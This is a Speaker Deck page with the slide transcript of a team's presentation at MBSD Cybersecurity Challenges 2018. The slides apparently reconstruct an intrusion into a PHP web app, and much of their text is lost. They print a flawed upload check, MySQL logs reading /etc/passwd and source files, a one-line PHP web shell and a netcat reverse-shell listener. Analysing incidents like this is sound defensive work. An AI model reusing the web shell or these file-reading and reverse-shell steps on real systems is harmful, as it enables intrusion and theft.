Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
MBSD Cybersecurity Challenges 2018 最終審査会 発表スライド
Search
8ayac
December 12, 2018
Technology
1.9k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
MBSD Cybersecurity Challenges 2018 最終審査会 発表スライド
チームIPFactoryとして発表したもの
8ayac
December 12, 2018
More Decks by 8ayac
See All by 8ayac
Free Bugs Campaign
8ayac
0
990
MBSD Cybersecurity Challenges 2017 最終審査会 発表スライド
8ayac
0
660
Other Decks in Technology
See All in Technology
コーチングの奥義 何もしないテクニック
jinwatanabe
0
160
MCPを待つな、パスキーを拡げよう(OAuth/OIDC Numa (Immersion) Workshop 2026)
oidfj
PRO
0
150
[ホンマでっか SRE] あなたはなぜ SRE に?
_awache
0
120
国家プロジェクトを支える「さくらONE」 大規模LLM開発におけるGPU障害を乗り越えるクラスター運用戦略
gpuunite_official
0
280
三人寄ればチューリング完全
puhitaku
6
3.1k
AWS Blocks が楽しい #ゆるWeb札幌
tacck
PRO
0
140
What's new in Go 1.27?
ciarana
0
430
アクセスキーが漏れた日にやるべきこと- 無効化の先にある本当の対応
kazzpapa3
0
310
会計事務所と顧問先の契約関係をOIDC・OAuthで表現する
terara
0
150
RelayerというPHPのフレームワークを作った
polidog
PRO
0
140
型落ちシンクライアント端末のPoEモジュールを自作したかった話
logica0419
0
420
도구에서 동료까지: 10년차 AI 스타트업의 AI 적응기
inureyes
PRO
1
350
Featured
See All Featured
brightonSEO & MeasureFest 2025 - Christian Goodrich - Winning strategies for Black Friday CRO & PPC
cargoodrich
3
790
技術選定の審美眼(2025年版) / Understanding the Spiral of Technologies 2025 edition
twada
PRO
120
120k
GraphQLの誤解/rethinking-graphql
sonatard
75
12k
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
508
140k
Building Adaptive Systems
keathley
44
3.2k
Designing for humans not robots
tammielis
254
26k
The World Runs on Bad Software
bkeepers
PRO
72
12k
Building Applications with DynamoDB
mza
96
7.2k
Intergalactic Javascript Robots from Outer Space
tanoku
273
27k
Docker and Python
trallard
47
4.1k
Large-scale JavaScript Application Architecture
addyosmani
515
110k
30 Presentation Tips
portentint
PRO
1
380
Transcript
MBSD Cybersecurity Challenges 2018
None
None
▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋
▋ ▋ ► ► ► ►
▋ ► ► ► ► ▋ ► ► ►
None
None
sendmessage.php ▋ ▋ ▋ $prefix = md5(time() . $user->id); $tname
= $prefix . basename($_FILES["file"]["name"]); if (move_uploaded_file($_FILES['file']['tmp_name'], "./tmp/".$tname) && preg_match("/^[^.]+¥.jpg$/",$tname)) {
sendmessage.php (2018/9/21 14:46:48) 180921 14:39:24 26247 Connect
[email protected]
on mysql
180921 14:41:06 26247 Query select load_file('/etc/hosts') 180921 14:41:12 26247 Query select load_file('/etc/passwd') 180921 14:42:30 26247 Query select load_file('/etc/issue') 180921 14:42:45 26247 Query select load_file('/etc/httpd/conf/httpd.conf') 180921 14:43:32 26247 Query select load_file('/var/www/html/webmix3/index.php') 180921 14:44:30 26247 Query select load_file('/var/www/html/webmix3/login.php') 180921 14:44:54 26247 Query select load_file('/var/www/html/webmix3/libs.php') 180921 14:45:25 26247 Query select load_file('/var/www/html/webmix3/class/class.php') 180921 14:45:45 26247 Query select load_file('/var/www/html/webmix3/class/User.php') 180921 14:46:48 26247 Query select load_file('/var/www/html/webmix3/sendmessage.php')
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </>
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
[Fri Sep 21 15:14:01 2018] [error] [client 192.168.11.204] PHP Notice: Undefined index: cmd in /var/www/html/webmix3/tmp/7449f92ea0f26445e89ae968227efaabtest.php on line 1 [Fri Sep 21 15:14:01 2018] [error] [client 192.168.11.204] PHP Warning: system(): Cannot execute a blank command in /var/www/html/webmix3/tmp/7449f92ea0f26445e89ae968227efaabtest.php on line 1
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [21/Sep/2018:15:12:46 +0900] "POST /sendmessage.php HTTP/1.1" 200 1783 "http://192.168.11.2/sendmessage.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
(2018/9/21 15:29:02) $ nc –lvp 4444 192.168.11.2 </>
(2018/9/21 15:29:02) 192.168.11.2 </> 4444/TCPで待受中…
(2018/9/21 15:29:02) 192.168.11.2 </> 4444/TCPで待受中…
(2018/9/21 15:29:02) 192.168.11.2 </> $ nc -lvp 4444 Listening on
[0.0.0.0] (family 0, port 4444) Connection from 192.168.11.204 64495 received! sh-4.1$
(2018/9/21 15:29:02) 192.168.11.2 </> $ nc -lvp 4444 Listening on
[0.0.0.0] (family 0, port 4444) Connection from 192.168.11.204 64495 received! sh-4.1$ 192.168.11.204 - - [21/Sep/2018:15:29:02 +0900] "POST /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
None
▋ ▋ ▋
▋ ▋ ▋ POST
▋ ▋ ▋ POST POST
( ) ▋ ► ►
POST ▋ ► ►
None
38
▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ► ▋ ► ▋ ►
▋ ▋
▋ ► ► ►
None